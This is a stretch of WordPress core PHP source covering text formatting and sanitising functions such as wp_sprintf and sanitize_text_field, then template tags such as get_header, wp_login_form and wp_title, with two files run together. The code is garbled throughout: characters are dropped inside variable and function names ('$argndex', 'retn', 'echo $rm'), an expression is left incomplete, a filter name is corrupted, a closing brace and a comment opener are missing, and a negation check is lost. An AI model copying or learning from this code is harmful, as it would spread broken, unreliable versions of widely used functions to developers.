entered is not valid. Please select a valid timezone.') ); } break; case 'permalink_structure': case 'category_base': case 'tag_base': $value = esc_url_raw( $value ); $value = str_replace( 'http://', '', $value ); break; } $value = apply_filters("sanitize_option_{$option}", $value, $option); return $value; } /** * Parses a string into variables to be storein an array. * * Uses {@link http://www.php.net/parse_str parse_str()} and stripslashes if * {@link http://www.php.net/magic_quotes magic_quotes_gpc} is on. * * @since 2.2.1 * @uses apply_filters() for the 'wp_parse_str' filter. * * @param string $string The string to be parsed. * @param array $array Variables will be stored in this array. */ function wp_parse_str( $string, &$array ) { parse_str( $string, $array ); if ( get_magic_quotes_gpc() ) $array = stripslashes_deep( $array ); $array = apply_filters( 'wp_rse_str', $array ); } /** * Convert lone less than signs. * * KSES already converts lone greater than signs. * * @uses wp_pre_kses_less_than_callback in the callback function. * @since 2.3.0 * * @param string $text Text to be converted. * @return string Converted text. */ function wp_pre_kses_less_than( $text ) { return preg_replace_callback('%<[^>]*?((?=<)|>|$)%', 'wp_pre_kses_less_than_callback', $text); } /** * Callback function used by preg_replace. * * @uses esc_html to format the $matches text. * @sinc2.3.0 * * @param array $matches Populated by matches to preg_replace. * @return string The text returned after esc_html if needed. */ function wp_pre_kses_less_than_callback( $matches ) { if ( false === strpos($matches[0], '>') ) return esc_html($matches[0]); return $matches[0]; } /** * WordPress implementation of PHP sprintf() with filters. * * @since 2.5.0 * @link http://www.php.net/sprintf * * @param string $pattern The string which formatted args are inserted. * @param mixed $args,... Arguments to be formted into the $pattern string. * @return string The formatted string. */ function wp_sprintf( $pattern ) { $args = func_get_args( ); $len = strlen($pattern); $start = 0; $result = ''; $arg_index = 0; while ( $len > $start ) { // Last character: append and break if ( strlen($pattern) - 1 == $start ) { $result .= substr($pattern, -1); break; } // Literal %: append and continue if ( substr($pattern, $start, 2) == '%%' ) { $start += 2; $result .= '%'; continue; } // Get fragment before next $end = strpos($pattern, '%', $start + 1); if ( false === $end ) $end = $len; $fragment = substr($pattern, $start, $end - $start); // Fragment has a specifier if ( $pattern[$start] == '%' ) { // Find numbered arguments or take the next one in order if ( preg_match('/^%(\d+)\$/', $fragment, $matches) ) { $arg = isset($args[$matches[1]]) ? $args[$matches[1]] : ''; $fragment = str_replace("%{$matches[1]}$", '%', $fragment); } else { ++$arg_index; $arg = isset($args[$arg_index]) ? $args[$argndex] : ''; } // Apply filters OR sprintf $_fragment = apply_filters( 'wp_sprintf', $fragment, $arg ); if ( $_fragment != $fragment ) $fragment = $_fragment; else $fragment = sprintf($fragment, strval($arg) ); } // Append to result and move to next fragment $result .= $fragment; $start = $end; } return $result; } /** * Localize list items before the rest of the content. * * The '%l' must be at the first characters can then contain the rest of the * content. The list items will have ', ', and', and ' and ' added depending * on the amount of list items in the $args parameter. * * @since 2.5.0 * * @param string $pattern Content containing '%l' at the beginning. * @param array $args List items to prepend to the content and replace '%l'. * @return string Localized list items and rest of the content. */ function wp_sprintf_l($pattern, $args) { // Not a match if ( substr($pattern, 0, 2) != '%l' ) return $pattern; // Nothing to work with if ( empty($args) ) return ''; // Translate and filter t delimiter set (avoid ampersands and entities here) $l = apply_filters('wp_sprintf_l', array( /* translators: used between list items, there is a space after the comma */ 'between' => __(', '), /* translators: used between list items, there is a space after the and */ 'between_last_two' => __(', and '), /* translators: used between only two list items, there is a space after the and */ 'between_only_two' => __(' and '), )); $args = (array) $args; $result = array_shift($args); if ( count($args) == ) $result .= $l['between_only_two'] . array_shift($args); // Loop when more than two args $i = count($args); while ( $i ) { $arg = array_shift($args); $i--; if ( 0 == $i ) $result .= $l['between_last_two'] . $arg; else $result .= $l['between'] . $arg; } return $result . substr($pattern, 2); } /** * Safely extracts not more than the first $count characters from html string. * * UTF-8, tags and entities safe prefix extraction. Entities inside will *NOT* * be counted as one character. For example &ill be counted as 4, < as * 3, etc. * * @since 2.5.0 * * @param integer $str String to get the excerpt from. * @param integer $count Maximum number of characters to take. * @return string The excerpt. */ function wp_html_excerpt( $str, $count ) { $str = wp_strip_all_tags( $str, true ); $str = mb_substr( $str, 0, $count ); // remove part of an entity at the end $str = preg_replace( '/&[^;\s]{0,6}$/', '', $str ); return $str; } /** * Add a Base url to relative links in passed content. * * By default it suppts the 'src' and 'href' attributes. However this can be * changed via the 3rd param. * * @since 2.7.0 * * @param string $content String to search for links in. * @param string $base The base URL to prefix to links. * @param array $attrs The attributes which should be processed. * @return string The processed content. */ function links_add_base_url( $content, $base, $attrs = array('src', 'href') ) { global $_links_add_base; $_links_add_base = $base; $attrs = implode('|', (array)$attrs); return preg_replace_callba( "!($attrs)=(['\"])(.+?)\\2!i", '_links_add_base', $content ); } /** * Callback to add a base url to relative links in passed content. * * @since 2.7.0 * @access private * * @param string $m The matched link. * @return string The processed link. */ function _links_add_base($m) { global $_links_add_base; //1 = attribute name 2 = quotation mark 3 = URL return $m[1] . '=' . $m[2] . ( preg_match( '#^(\w{1,20}):#', $m[3], $protocol ) && in_array( $protocol[1], wp_allowed_protocols() ) ? $m[3] : path_join( $inks_add_base, $m[3] ) ) . $m[2]; } /** * Adds a Target attribute to all links in passed content. * * This function by default only applies to <a> tags, however this can be * modified by the 3rd param. * * <b>NOTE:</b> Any current target attributed will be stripped and replaced. * * @since 2.7.0 * * @param string $content String to search for links in. * @param string $target The Target to add to the links. * @param array $tags An array of tags to apply to. * @return string The processed content. */ functioninks_add_target( $content, $target = '_blank', $tags = array('a') ) { global $_links_add_target; $_links_add_target = $target; $tags = implode('|', (array)$tags); return preg_replace_callback( "!<($tags)(.+?)>!i", '_links_add_target', $content ); } /** * Callback to add a target attribute to all links in passed content. * * @since 2.7.0 * @access private * * @param string $m The matched link. * @return string The processed link. */ function _links_add_target( $m ) { global $_links_add_target; $tag = $m[1]; $lk = preg_replace('|(target=[\'"](.*?)[\'"])|i', '', $m[2]); return '<' . $tag . $link . ' target="' . esc_attr( $_links_add_target ) . '">'; } // normalize EOL characters and strip duplicate whitespace function normalize_whitespace( $str ) { $str = trim($str); $str = str_replace("\r", "\n", $str); $str = preg_replace( array( '/\n+/', '/[ \t]+/' ), array( "\n", ' ' ), $str ); return $str; } /** * Properly strip all HTML tags including script and style * * @since 2.9.0 * * @param string $string String containingTML tags * @param bool $remove_breaks optional Whether to remove left over line breaks and white space chars * @return string The processed string. */ function wp_strip_all_tags($string, $remove_breaks = false) { $string = preg_replace( '@<(script|style)[^>]*?>.*?</\\1>@si', '', $string ); $string = strip_tags($string); if ( $remove_breaks ) $string = preg_replace('/[\r\n\t ]+/', ' ', $string); return trim( $string ); } /** * Sanitize a string from user input or from the db * * check for invalid UTF-8, * Convt single < characters to entity, * strip all tags, * remove line breaks, tabs and extra white space, * strip octets. * * @since 2.9.0 * * @param string $str * @return string */ function sanitize_text_field($str) { $filtered = wp_check_invalid_utf8( $str ); if ( strpos($filtered, '<') !== false ) { $filtered = wp_pre_kses_less_than( $filtered ); // This will strip extra whitespace for us. $filtered = wp_strip_all_tags( $filtered, true ); } else { $filtered = trim( preg_replace('/[\r\n\t ]+/', ' ', $filter) ); } $match = array(); $found = false; while ( preg_match('/%[a-f0-9]{2}/i', $filtered, $match) ) { $filtered = str_replace($match[0], '', $filtered); $found = true; } if ( $found ) { // Strip out the whitespace that may now exist after removing the octets. $filtered = trim( preg_replace('/ +/', ' ', $filtered) ); } return apply_filters('sanitize_text_field', $filtered, $str); } /** * i18n friendly version of basename() * * @since 3.1.0 * * @param string $path A path. * @param string $suffix If thfilename ends in suffix this will also be cut off. * @return string */ function wp_basename( $path, $suffix = '' ) { return urldecode( basename( str_replace( array( '%2F', '%5C' ), '/', urlencode( $path ) ), $suffix ) ); } /** * Forever eliminate "Wordpress" from the planet (or at least the little bit we can influence). * * Violating our coding standards for a good function name. * * @since 3.0.0 */ function capital_P_dangit( $text ) { // Simple replacement for titles if ( 'the_title' === current_filter() ) retn str_replace( 'Wordpress', 'WordPress', $text ); // Still here? Use the more judicious replacement static $dblq = false; if ( false === $dblq ) $dblq = _x( '“', 'opening curly double quote' ); return str_replace( array( ' Wordpress', '‘Wordpress', $dblq . 'Wordpress', '>Wordpress', '(Wordpress' ), array( ' WordPress', '‘WordPress', $dblq . 'WordPress', '>WordPress', '(WordPress' ), $text ); } /** * Sanitize a mime type * * @since 3.1.3 * * @param string $mime_type Mime type * @return strg Sanitized mime type */ function sanitize_mime_type( $mime_type ) { $sani_mime_type = preg_replace( '/[^-+*.a-zA-Z0-9\/]/', '', $mime_type ); return apply_filters( 'sanitize_mime_type', $sani_mime_type, $mime_type ); } /** * Sanitize space or carriage return separated URLs that are used to send trackbacks. * * @since 3.4.0 * * @param string $to_ping Space or carriage return separated URLs * @return string URLs starting with the http or https protocol, separated by a carriage return. */ function sanitize_trackbackrls( $to_ping ) { $urls_to_ping = preg_split( '/[\r\n\t ]/', trim( $to_ping ), -1, PREG_SPLIT_NO_EMPTY ); foreach ( $urls_to_ping as $k => $url ) { if ( !preg_match( '#^https?://.#i', $url ) ) unset( $urls_to_ping[$k] ); } $urls_to_ping = array_map( 'esc_url_raw', $urls_to_ping ); $urls_to_ping = implode( "\n", $urls_to_ping ); return apply_filters( 'sanitize_trackback_urls', $urls_to_ping, $to_ping ); }<?php /** * General template tags that can go anywhere in a template. * * @package WordPress * @subpackage Template */ /** * Load header template. * * Includes the header template for a theme or if a name is specified then a * specialised header will be cluded. * * For the parameter, if the file is called "header-special.php" then specify * "special". * * @uses locate_template() * @since 1.5.0 * @uses do_action() Calls 'get_header' action. * * @param string $name The name of the specialised header. */ function get_header( $name = null ) { do_action( 'get_header', $name ); $templates = array(); if ( isset($name) ) $templates[] = "header-{$name}.php"; $templates[] = 'header.php'; // Backward compat code will be removed in a future release if ('' == locateemplate($templates, true)) load_template( ABSPATH . WPINC . '/theme-compat/header.php'); } /** * Load footer template. * * Includes the footer template for a theme or if a name is specified then a * specialised footer will be included. * * For the parameter, if the file is called "footer-special.php" then specify * "special". * * @uses locate_template() * @since 1.5.0 * @uses do_action() Calls 'get_footer' action. * * @param string $name The name of the specialised footer. */ function get_footer( $name = nul) { do_action( 'get_footer', $name ); $templates = array(); if ( isset($name) ) $templates[] = "footer-{$name}.php"; $templates[] = 'footer.php'; // Backward compat code will be removed in a future release if ('' == locate_template($templates, true)) load_template( ABSPATH . WPINC . '/theme-compat/footer.php'); } /** * Load sidebar template. * * Includes the sidebar template for a theme or if a name is specified then a * specialised sidebar will be included. * * For the parameter, if the file is called "sebar-special.php" then specify * "special". * * @uses locate_template() * @since 1.5.0 * @uses do_action() Calls 'get_sidebar' action. * * @param string $name The name of the specialised sidebar. */ function get_sidebar( $name = null ) { do_action( 'get_sidebar', $name ); $templates = array(); if ( isset($name) ) $templates[] = "sidebar-{$name}.php"; $templates[] = 'sidebar.php'; // Backward compat code will be removed in a future release if ('' == locate_template($templates, true)) load_template( ABSPAT. WPINC . '/theme-compat/sidebar.php'); } /** * Load a template part into a template * * Makes it easy for a theme to reuse sections of code in a easy to overload way * for child themes. * * Includes the named template part for a theme or if a name is specified then a * specialised part will be included. If the theme contains no {slug}.php file * then no template will be included. * * The template is included using require, not require_once, so you may include the * same template part multiple times. * * For th$name parameter, if the file is called "{slug}-special.php" then specify * "special". * * @uses locate_template() * @since 3.0.0 * @uses do_action() Calls 'get_template_part_{$slug}' action. * * @param string $slug The slug name for the generic template. * @param string $name The name of the specialised template. */ function get_template_part( $slug, $name = null ) { do_action( "get_template_part_{$slug}", $slug, $name ); $templates = array(); if ( isset($name) ) $templates[] = "{$slug}-{$name}.php"; $templas[] = "{$slug}.php"; locate_template($templates, true, false); } /** * Display search form. * * Will first attempt to locate the searchform.php file in either the child or * the parent, then load it. If it doesn't exist, then the default search form * will be displayed. The default search form is HTML, which will be displayed. * There is a filter applied to the search form HTML in order to edit or replace * it. The filter is 'get_search_form'. * * This function is primarily used by themes which want to hardcode t search * form into the sidebar and also by the search widget in WordPress. * * There is also an action that is called whenever the function is run called, * 'get_search_form'. This can be useful for outputting JavaScript that the * search relies on or various formatting that applies to the beginning of the * search. To give a few examples of what it can be used for. * * @since 2.7.0 * @param boolean $echo Default to echo and not return the form. * @return string|null String when retrieving, null when displaying orf searchform.php exists. */ function get_search_form($echo = true) { do_action( 'get_search_form' ); $search_form_template = locate_template('searchform.php'); if ( '' != $search_form_template ) { require($search_form_template); return; } $form = '<form role="search" method="get" id="searchform" action="' . esc_url( home_url( '/' ) ) . '" > <div><label class="screen-reader-text" for="s">' . __('Search for:') . '</label> <input type="text" value="' . get_search_query() . '" name="s" id="s" /> <input type="submi id="searchsubmit" value="'. esc_attr__('Search') .'" /> </div> </form>'; if ( $echo ) echo apply_filters('get_search_form', $form); else return apply_filters('get_search_form', $form); } /** * Display the Log In/Out link. * * Displays a link, which allows users to navigate to the Log In page to log in * or log out depending on whether they are currently logged in. * * @since 1.5.0 * @uses apply_filters() Calls 'loginout' hook on HTML link content. * * @param string $redirect Optional path to redirect to ologin/logout. * @param boolean $echo Default to echo and not return the link. * @return string|null String when retrieving, null when displaying. */ function wp_loginout($redirect = '', $echo = true) { if ( ! is_user_logged_in() ) $link = '<a href="' . esc_url( wp_login_url($redirect) ) . '">' . __('Log in') . '</a>'; else $link = '<a href="' . esc_url( wp_logout_url($redirect) ) . '">' . __('Log out') . '</a>'; if ( $echo ) echo apply_filters('loginout', $link); else return apply_filters('loginout', $link); /** * Returns the Log Out URL. * * Returns the URL that allows the user to log out of the site * * @since 2.7.0 * @uses wp_nonce_url() To protect against CSRF * @uses site_url() To generate the log in URL * @uses apply_filters() calls 'logout_url' hook on final logout url * * @param string $redirect Path to redirect to on logout. * @return string A log out URL. */ function wp_logout_url($redirect = '') { $args = array( 'action' => 'logout' ); if ( !empty($redirect) ) { $args['redirect_to'] = urlencode( $redict ); } $logout_url = add_query_arg($args, site_url('wp-login.php', 'login')); $logout_url = wp_nonce_url( $logout_url, 'log-out' ); return apply_filters('logout_url', $logout_url, $redirect); } /** * Returns the Log In URL. * * Returns the URL that allows the user to log in to the site * * @since 2.7.0 * @uses site_url() To generate the log in URL * @uses apply_filters() calls 'login_url' hook on final login url * * @param string $redirect Path to redirect to on login. * @param bool $force_reauth Whether toorce reauthorization, even if a cookie is present. Default is false. * @return string A log in URL. */ function wp_login_url($redirect = '', $force_reauth = false) { $login_url = site_url('wp-login.php', 'login'); if ( !empty($redirect) ) $login_url = add_query_arg('redirect_to', urlencode($redirect), $login_url); if ( $force_reauth ) $login_url = add_query_arg('reauth', '1', $login_url); return apply_filters('login_url', $login_url, $redirect); } /** * Provides a simple login form for use anywhere within Wordess. By default, it echoes * the HTML immediately. Pass array('echo'=>false) to return the string instead. * * @since 3.0.0 * @param array $args Configuration options to modify the form output. * @return string|null String when retrieving, null when displaying. */ function wp_login_form( $args = array() ) { $defaults = array( 'echo' => true, 'redirect' => ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'], // Default redirect is back to the current page 'form_id' => 'linform', 'label_username' => __( 'Username' ), 'label_password' => __( 'Password' ), 'label_remember' => __( 'Remember Me' ), 'label_log_in' => __( 'Log In' ), 'id_username' => 'user_login', 'id_password' => 'user_pass', 'id_remember' => 'rememberme', 'id_submit' => 'wp-submit', 'remember' => true, 'value_username' => '', 'value_remember' => false, // Set this to true to default the "Remember me" checkbox to checked ); $args = wp_parse_args( $args, applyilters( 'login_form_defaults', $defaults ) ); $form = ' <form name="' . $args['form_id'] . '" id="' . $args['form_id'] . '" action="' . esc_url( site_url( 'wp-login.php', 'login_post' ) ) . '" method="post"> ' . apply_filters( 'login_form_top', '', $args ) . ' <p class="login-username"> <label for="' . esc_attr( $args['id_username'] ) . '">' . esc_html( $args['label_username'] ) . '</label> <input type="text" name="log" id="' . esc_attr( $args['id_username'] ) . '" class="input" value="' . esc_attr( $args['lue_username'] ) . '" size="20" /> </p> <p class="login-password"> <label for="' . esc_attr( $args['id_password'] ) . '">' . esc_html( $args['label_password'] ) . '</label> <input type="password" name="pwd" id="' . esc_attr( $args['id_password'] ) . '" class="input" value="" size="20" /> </p> ' . apply_filters( 'login_form_middle', '', $args ) . ' ' . ( $args['remember'] ? '<p class="login-remember"><label><input name="rememberme" type="checkbox" id="' . esc_attr( $args['id_remember'] ) . '" value="forer"' . ( $args['value_remember'] ? ' checked="checked"' : '' ) . ' /> ' . esc_html( $args['label_remember'] ) . '</label></p>' : '' ) . ' <p class="login-submit"> <input type="submit" name="wp-submit" id="' . esc_attr( $args['id_submit'] ) . '" class="button-primary" value="' . esc_attr( $args['label_log_in'] ) . '" /> <input type="hidden" name="redirect_to" value="' . esc_url( $args['redirect'] ) . '" /> </p> ' . apply_filters( 'login_form_bottom', '', $args ) . ' </form>'; if ( $args['echo'] ) echo $rm; else return $form; } /** * Returns the Lost Password URL. * * Returns the URL that allows the user to retrieve the lost password * * @since 2.8.0 * @uses site_url() To generate the lost password URL * @uses apply_filters() calls 'lostpassword_url' hook on the lostpassword url * * @param string $redirect Path to redirect to on login. * @return string Lost password URL. */ function wp_lostpassword_url( $redirect = '' ) { $args = array( 'action' => 'lostpassword' ); if ( !empty($redirect) ) { $args['redirt_to'] = $redirect; } $lostpassword_url = add_query_arg( $args, network_site_url('wp-login.php', 'login') ); return apply_filters( 'lostpassword_url', $lostpassword_url, $redirect ); } /** * Display the Registration or Admin link. * * Display a link which allows the user to navigate to the registration page if * not logged in and registration is enabled or to the dashboard if logged in. * * @since 1.5.0 * @uses apply_filters() Calls 'register' hook on register / admin link content. * * @param string $before Texto output before the link (defaults to <li>). * @param string $after Text to output after the link (defaults to </li>). * @param boolean $echo Default to echo and not return the link. * @return string|null String when retrieving, null when displaying. */ function wp_register( $before = '<li>', $after = '</li>', $echo = true ) { if ( ! is_user_logged_in() ) { if ( get_option('users_can_register') ) $link = $before . '<a href="' . site_url('wp-login.php?action=register', 'login') . '">' . __('Register') . '</a>' . $ter; else $link = ''; } else { $link = $before . '<a href="' . admin_url() . '">' . __('Site Admin') . '</a>' . $after; } if ( $echo ) echo apply_filters('register', $link); else return apply_filters('register', $link); } /** * Theme container function for the 'wp_meta' action. * * The 'wp_meta' action can have several purposes, depending on how you use it, * but one purpose might have been to allow for theme switching. * * @since 1.5.0 * @link http://trac.wordpress.org/ticket/1458 Explanation of 'wp_ta' action. * @uses do_action() Calls 'wp_meta' hook. */ function wp_meta() { do_action('wp_meta'); } /** * Display information about the blog. * * @see get_bloginfo() For possible values for the parameter. * @since 0.71 * * @param string $show What to display. */ function bloginfo( $show='' ) { echo get_bloginfo( $show, 'display' ); } /** * Retrieve information about the blog. * * Some show parameter values are deprecated and will be removed in future * versions. These options will trigger the _deprecated_aument() function. * The deprecated blog info options are listed in the function contents. * * The possible values for the 'show' parameter are listed below. * <ol> * <li><strong>url</strong> - Blog URI to homepage.</li> * <li><strong>wpurl</strong> - Blog URI path to WordPress.</li> * <li><strong>description</strong> - Secondary title</li> * </ol> * * The feed URL options can be retrieved from 'rdf_url' (RSS 0.91), * 'rss_url' (RSS 1.0), 'rss2_url' (RSS 2.0), or 'atom_url' (Atom feed). The * comment feeds can be trieved from the 'comments_atom_url' (Atom comment * feed) or 'comments_rss2_url' (RSS 2.0 comment feed). * * @since 0.71 * * @param string $show Blog info to retrieve. * @param string $filter How to filter what is retrieved. * @return string Mostly string values, might be empty. */ function get_bloginfo( $show = '', $filter = 'raw' ) { switch( $show ) { case 'home' : // DEPRECATED case 'siteurl' : // DEPRECATED _deprecated_argument( __FUNCTION__, '2.2', sprintf( __('The <code>%s</code> option is deprecated r the family of <code>bloginfo()</code> functions.' ), $show ) . ' ' . sprintf( __( 'Use the <code>%s</code> option instead.' ), 'url' ) ); case 'url' : $output = home_url(); break; case 'wpurl' : $output = site_url(); break; case 'description': $output = get_option('blogdescription'); break; case 'rdf_url': $output = get_feed_link('rdf'); break; case 'rss_url': $output = get_feed_link('rss'); break; case 'rss2_url': $output = get_feed_link('rss2'); break; case 'atom_url': $output = get_feed_link('atom'); break; case 'comments_atom_url': $output = get_feed_link('comments_atom'); break; case 'comments_rss2_url': $output = get_feed_link('comments_rss2'); break; case 'pingback_url': $output = get_option('siteurl') .'/xmlrpc.php'; break; case 'stylesheet_url': $output = get_stylesheet_uri(); break; case 'stylesheet_directory': $output = get_stylesheet_directory_uri(); break; case 'template_directory': case 'template_url': $output = get_template_dirtory_uri(); break; case 'admin_email': $output = get_option('admin_email'); break; case 'charset': $output = get_option('blog_charset'); if ('' == $output) $output = 'UTF-8'; break; case 'html_type' : $output = get_option('html_type'); break; case 'version': global $wp_version; $output = $wp_version; break; case 'language': $output = get_locale(); $output = str_replace('_', '-', $output); break; case 'text_direction': //_deprecated_argument( __FUNCTION__, '2.2', sprint __('The <code>%s</code> option is deprecated for the family of <code>bloginfo()</code> functions.' ), $show ) . ' ' . sprintf( __( 'Use the <code>%s</code> function instead.' ), 'is_rtl()' ) ); if ( function_exists( 'is_rtl' ) ) { $output = is_rtl() ? 'rtl' : 'ltr'; } else { $output = 'ltr'; } break; case 'name': default: $output = get_option('blogname'); break; } $url = true; if (strpos($show, 'url') === false && strpos($show, 'directory') === false && strpos($show, 'home') === false) $url = false; if ( 'display' == $filter ) { if ( $url ) $output = apply_filters('bloginfo_url', $output, $show); else $output = apply_filters('bloginfo', $output, $show); } return $output; } /** * Display or retrieve page title for all areas of blog. * * By default, the page title will display the separator before the page title, * so that the blog title will be before the page title. This is not good for * title display, since the blog title shows up on most tabs and not what is * important, which is e page that the user is looking at. * * There are also SEO benefits to having the blog title after or to the 'right' * or the page title. However, it is mostly common sense to have the blog title * to the right with most browsers supporting tabs. You can achieve this by * using the seplocation parameter and setting the value to 'right'. This change * was introduced around 2.5.0, in case backwards compatibility of themes is * important. * * @since 1.0.0 * * @param string $sep Optional, default is '»'. How to parate the various items within the page title. * @param bool $display Optional, default is true. Whether to display or retrieve title. * @param string $seplocation Optional. Direction to display title, 'right'. * @return string|null String on retrieve, null when displaying. */ function wp_title($sep = '»', $display = true, $seplocation = '') { global $wpdb, $wp_locale; $m = get_query_var('m'); $year = get_query_var('year'); $monthnum = get_query_var('monthnum'); $day = get_query_var('day'); $search = get_quy_var('s'); $title = ''; $t_sep = '%WP_TITILE_SEP%'; // Temporary separator, for accurate flipping, if necessary // If there is a post if ( is_single() || ( is_home() && !is_front_page() ) || ( is_page() && !is_front_page() ) ) { $title = single_post_title( '', false ); } // If there's a category or tag if ( is_category() || is_tag() ) { $title = single_term_title( '', false ); } // If there's a taxonomy if ( is_tax() ) { $term = get_queried_object(); $tax = get_taxonomy( $term->taxonomy ); $title = sgle_term_title( $tax->labels->name . $t_sep, false ); } // If there's an author if ( is_author() ) { $author = get_queried_object(); $title = $author->display_name; } // If there's a post type archive if ( is_post_type_archive() ) $title = post_type_archive_title( '', false ); // If there's a month if ( is_archive() && !empty($m) ) { $my_year = substr($m, 0, 4); $my_month = $wp_locale->get_month(substr($m, 4, 2)); $my_day = intval(substr($m, 6, 2)); $title = $my_year . ( $my_month ? $t_sep . $my_mont: '' ) . ( $my_day ? $t_sep . $my_day : '' ); } // If there's a year if ( is_archive() && !empty($year) ) { $title = $year; if ( !empty($monthnum) ) $title .= $t_sep . $wp_locale->get_month($monthnum); if ( !empty($day) ) $title .= $t_sep . zeroise($day, 2); } // If it's a search if ( is_search() ) { /* translators: 1: separator, 2: search phrase */ $title = sprintf(__('Search Results %1$s %2$s'), $t_sep, strip_tags($search)); } // If it's a 404 page if ( is_404() ) { $title = __('Page not found; } $prefix = ''; if ( !empty($title) ) $prefix = " $sep "; // Determines position of the separator and direction of the breadcrumb if ( 'right' == $seplocation ) { // sep on right, so reverse the order $title_array = explode( $t_sep, $title ); $title_array = array_reverse( $title_array ); $title = implode( " $sep ", $title_array ) . $prefix; } else { $title_array = explode( $t_sep, $title ); $title = $prefix . implode( " $sep ", $title_array ); } $title = apply_filters('wp_title', $title, $sep, $seplation); // Send it out if ( $display ) echo $title; else return $title; } /** * Display or retrieve page title for post. * * This is optimized for single.php template file for displaying the post title. * * It does not support placing the separator after the title, but by leaving the * prefix parameter empty, you can set the title separator manually. The prefix * does not automatically place a space between the prefix, so if there should * be a space, the parameter value will need to have it at the end. * @since 0.71 * * @param string $prefix Optional. What to display before the title. * @param bool $display Optional, default is true. Whether to display or retrieve title. * @return string|null Title when retrieving, null when displaying or failure. */ function single_post_title($prefix = '', $display = true) { $_post = get_queried_object(); if ( !isset($_post->post_title) ) return; $title = apply_filters('single_post_title', $_post->post_title, $_post); if ( $display ) echo $prefix . $title; else return $tie; } /** * Display or retrieve title for a post type archive. * * This is optimized for archive.php and archive-{$post_type}.php template files * for displaying the title of the post type. * * @since 3.1.0 * * @param string $prefix Optional. What to display before the title. * @param bool $display Optional, default is true. Whether to display or retrieve title. * @return string|null Title when retrieving, null when displaying or failure. */ function post_type_archive_title( $prefix = '', $display = true ) { if ( is_post_type_archive() ) return; $post_type_obj = get_queried_object(); $title = apply_filters('post_type_archive_title', $post_type_obj->labels->name ); if ( $display ) echo $prefix . $title; else return $title; } /** * Display or retrieve page title for category archive. * * This is useful for category template file or files, because it is optimized * for category page title and with less overhead than {@link wp_title()}. * * It does not support placing the separator after the title, but by leaving the prefix parameter empty, you can set the title separator manually. The prefix * does not automatically place a space between the prefix, so if there should * be a space, the parameter value will need to have it at the end. * * @since 0.71 * * @param string $prefix Optional. What to display before the title. * @param bool $display Optional, default is true. Whether to display or retrieve title. * @return string|null Title when retrieving, null when displaying or failure. */ function single_cat_title( $prefix = '', $dplay = true ) { return single_term_title( $prefix, $display ); } /** * Display or retrieve page title for tag post archive. * * Useful for tag template files for displaying the tag page title. It has less * overhead than {@link wp_title()}, because of its limited implementation. * * It does not support placing the separator after the title, but by leaving the * prefix parameter empty, you can set the title separator manually. The prefix * does not automatically place a space between the prefix, so if there should be a space, the parameter value will need to have it at the end. * * @since 2.3.0 * * @param string $prefix Optional. What to display before the title. * @param bool $display Optional, default is true. Whether to display or retrieve title. * @return string|null Title when retrieving, null when displaying or failure. */ function single_tag_title( $prefix = '', $display = true ) { return single_term_title( $prefix, $display ); } /** * Display or retrieve page title for taxonomy term archive. * * Useful for taxonomyerm template files for displaying the taxonomy term page title. * It has less overhead than {@link wp_title()}, because of its limited implementation. * * It does not support placing the separator after the title, but by leaving the * prefix parameter empty, you can set the title separator manually. The prefix * does not automatically place a space between the prefix, so if there should * be a space, the parameter value will need to have it at the end. * * @since 3.1.0 * * @param string $prefix Optional. What to dilay before the title. * @param bool $display Optional, default is true. Whether to display or retrieve title. * @return string|null Title when retrieving, null when displaying or failure. */ function single_term_title( $prefix = '', $display = true ) { $term = get_queried_object(); if ( !$term ) return; if ( is_category() ) $term_name = apply_filters( 'single_cat_title', $term->name ); elseif ( is_tag() ) $term_name = apply_filters( 'single_tag_title', $term->name ); elseif ( is_tax() ) $term_name = apply_fters( 'single_term_title', $term->name ); else return; if ( empty( $term_name ) ) return; if ( $display ) echo $prefix . $term_name; else return $term_name; } /** * Display or retrieve page title for post archive based on date. * * Useful for when the template only needs to display the month and year, if * either are available. Optimized for just this purpose, so if it is all that * is needed, should be better than {@link wp_title()}. * * It does not support placing the separator after the title, but byeaving the * prefix parameter empty, you can set the title separator manually. The prefix * does not automatically place a space between the prefix, so if there should * be a space, the parameter value will need to have it at the end. * * @since 0.71 * * @param string $prefix Optional. What to display before the title. * @param bool $display Optional, default is true. Whether to display or retrieve title. * @return string|null Title when retrieving, null when displaying or failure. */ function single_month_title($pfix = '', $display = true ) { global $wp_locale; $m = get_query_var('m'); $year = get_query_var('year'); $monthnum = get_query_var('monthnum'); if ( !empty($monthnum) && !empty($year) ) { $my_year = $year; $my_month = $wp_locale->get_month($monthnum); } elseif ( !empty($m) ) { $my_year = substr($m, 0, 4); $my_month = $wp_locale->get_month(substr($m, 4, 2)); } if ( empty($my_month) ) return false; $result = $prefix . $my_month . $prefix . $my_year; if ( !$display ) return $result; echo $result; } * * Retrieve archive link content based on predefined or custom code. * * The format can be one of four styles. The 'link' for head element, 'option' * for use in the select element, 'html' for use in list (either ol or ul HTML * elements). Custom content is also supported using the before and after * parameters. * * The 'link' format uses the link HTML element with the <em>archives</em> * relationship. The before and after parameters are not used. The text * parameter is used to describe the link. * * The 'optio format uses the option HTML element for use in select element. * The value is the url parameter and the before and after parameters are used * between the text description. * * The 'html' format, which is the default, uses the li HTML element for use in * the list HTML elements. The before parameter is before the link and the after * parameter is after the closing link. * * The custom format uses the before parameter before the link ('a' HTML * element) and the after parameter after the closing link tag. If the abo * three values for the format are not used, then custom format is assumed. * * @since 1.0.0 * * @param string $url URL to archive. * @param string $text Archive text description. * @param string $format Optional, default is 'html'. Can be 'link', 'option', 'html', or custom. * @param string $before Optional. * @param string $after Optional. * @return string HTML link content for archive. */ function get_archives_link($url, $text, $format = 'html', $before = '', $after = '') { $text = wptexturize($text); $title_xt = esc_attr($text); $url = esc_url($url); if ('link' == $format) $link_html = "\t<link rel='archives' title='$title_text' href='$url' />\n"; elseif ('option' == $format) $link_html = "\t<option value='$url'>$before $text $after</option>\n"; elseif ('html' == $format) $link_html = "\t<li>$before<a href='$url' title='$title_text'>$text</a>$after</li>\n"; else // custom $link_html = "\t$before<a href='$url' title='$title_text'>$text</a>$after\n"; $link_html = apply_filters( 'get_archives_link', $link_html ); eturn $link_html; } /** * Display archive links based on type and format. * * The 'type' argument offers a few choices and by default will display monthly * archive links. The other options for values are 'daily', 'weekly', 'monthly', * 'yearly', 'postbypost' or 'alpha'. Both 'postbypost' and 'alpha' display the * same archive link list, the difference between the two is that 'alpha' * will order by post title and 'postbypost' will order by post date. * * The date archives will logically display dates with links tohe archive post * page. The 'postbypost' and 'alpha' values for 'type' argument will display * the post titles. * * The 'limit' argument will only display a limited amount of links, 